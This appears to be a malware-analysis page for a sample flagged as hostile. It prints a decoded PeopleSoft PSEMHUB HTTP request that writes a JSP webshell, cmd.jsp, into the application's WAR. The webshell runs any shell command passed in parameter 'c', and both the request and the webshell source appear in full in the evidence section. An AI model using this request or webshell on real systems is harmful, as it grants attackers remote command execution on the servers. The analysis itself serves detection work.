Hostile 99% java Download

decoded-file-write.java

PeopleSoft log command stages a webshellPeopleSoft command targets JSP in WAR
SHA-256ff306acaa686e8abcf6408a94236ea3152da46eca57da071c7be852752e964d2

Evidence

PeopleSoft log content contains JSP source lines 1–23
1POST /PSEMHUB/hub HTTP/1.1 // [1]
2Content-Type: application/x-www-form-urlencoded
3...
4Host: 127.0.0.1:8000 // [2]
5Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
6Connection: keep-alive
7Content-length: 1903
8
9Message= {
10 _command: ExecuteProcessActivityCommand {
11 m_isStdOutput = true
12 m_line = "<%@page import="java.util.*,java.io.*"%> // [3]
13 <% if (request.getParameter("c") != null) {
14 Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("c")});
15 Scanner s = new Scanner(p.getInputStream()).useDelimiter("\\\\A");
16 out.println(s.hasNext() ? s.next() : "");
17 p.destroy();
18 }%>"
19 m_targetFile = File("/home/psadm2/psft/pt/8.62/webserv/peoplesoft/applications/peoplesoft/PSEMHUB.war/cmd.jsp") // [4]
20 m_logWriter = null
21 }
22 ...
23 }

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.